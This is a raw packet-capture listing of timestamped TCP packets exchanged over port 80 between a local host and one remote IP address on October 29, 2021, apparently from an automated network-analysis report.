Oct 29, 2021 20:11:03.200953007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.200989962 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204333067 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204363108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204395056 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204418898 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204441071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204451084 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204463959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204471111 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204485893 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204493999 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204509974 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204533100 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204545021 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204555035 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204572916 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204593897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204616070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204622030 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204639912 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204662085 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204670906 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204682112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204694033 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204710960 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204731941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204752922 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204766989 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204775095 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204797029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204801083 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204818010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204840899 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204843998 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204879999 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204895020 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204901934 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204924107 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204948902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204950094 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204969883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.204988956 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.204991102 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205013037 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205027103 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205033064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205054998 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205070019 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205075979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205099106 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205127954 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205142975 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205148935 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205172062 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205173016 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205194950 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205214977 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205214977 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205239058 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205254078 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205261946 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205284119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205306053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205321074 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205328941 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.205334902 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.205355883 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.246658087 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257359982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257390022 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257406950 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257426023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257442951 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257464886 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257467985 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257489920 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257513046 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257523060 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257535934 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257555962 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257560015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257579088 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257582903 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257597923 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257622004 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257622957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257647038 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257658005 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257672071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257697105 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257713079 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257720947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257745981 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257769108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257782936 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257792950 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257817984 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257817984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257843018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257854939 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257868052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257890940 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257915020 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257917881 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257936954 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257958889 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.257961035 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.257985115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258001089 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258008003 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258030891 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258054018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258071899 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258078098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258105040 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258116007 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258127928 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258152008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258169889 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258174896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258196115 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258198977 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258224010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258234024 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258248091 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258270979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258295059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258296967 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258315086 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258331060 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258337975 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258348942 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258366108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258368969 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258382082 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258399010 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258408070 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258415937 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258431911 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258439064 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258449078 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258462906 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258465052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258482933 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258498907 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258516073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258517981 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258533001 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258548975 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258554935 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258565903 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258582115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258585930 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258599043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258610010 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258615017 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258631945 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258635044 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258647919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258666039 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258671999 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258682013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258697987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258713961 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258714914 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258730888 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258738995 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258748055 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258764029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258774042 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258780956 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258796930 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258812904 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258814096 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258830070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258842945 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258846998 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258862972 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258878946 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258878946 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258897066 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258913994 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.258920908 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.258949041 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.276540041 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311397076 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311439037 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311464071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311485052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311506987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311527014 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311530113 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311547041 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311548948 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311551094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311573029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311595917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311618090 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311625957 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311635971 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311657906 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311692953 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311702013 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311726093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311758041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311785936 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311796904 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311815023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311817884 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311845064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311871052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311899900 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311909914 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311925888 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311935902 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.311954975 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.311980963 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312005043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312021017 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312031031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312040091 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312056065 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312083960 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312096119 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312115908 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312148094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312180996 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312185049 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312212944 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312217951 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312242985 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312273979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312304974 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312309980 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312338114 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312342882 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312369108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312392950 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312413931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312427998 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312434912 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312448025 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312455893 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312477112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312498093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312511921 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312519073 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312531948 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312539101 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312560081 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312581062 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312592983 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312602043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312613010 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312623024 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312644958 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312665939 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312679052 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312685966 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312699080 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312706947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312726974 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312747955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312762022 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312771082 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312779903 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312792063 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312812090 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312834024 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312859058 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312874079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312879086 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312897921 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312915087 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312944889 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312973022 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.312977076 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.312999964 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313009977 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.313024044 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313046932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313055038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.313070059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313091040 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313112020 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313119888 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.313133955 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313142061 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.313155890 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313177109 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313198090 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.313205957 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.313225985 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.313307047 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.365658045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.365726948 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.365748882 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.365788937 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.365845919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.365900993 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.365901947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.365952015 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.365962982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366020918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366070032 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366163969 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366179943 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366221905 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366239071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366297960 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366363049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366406918 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366425037 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366466999 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366485119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366544008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366601944 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366642952 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366660118 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366715908 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366759062 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366774082 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366816998 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.366835117 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366894007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366955996 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.366997957 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367011070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367055893 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:03.367069006 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367125034 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:03.367161989 CEST	80	49839	185.98.87.159	192.168.2.5
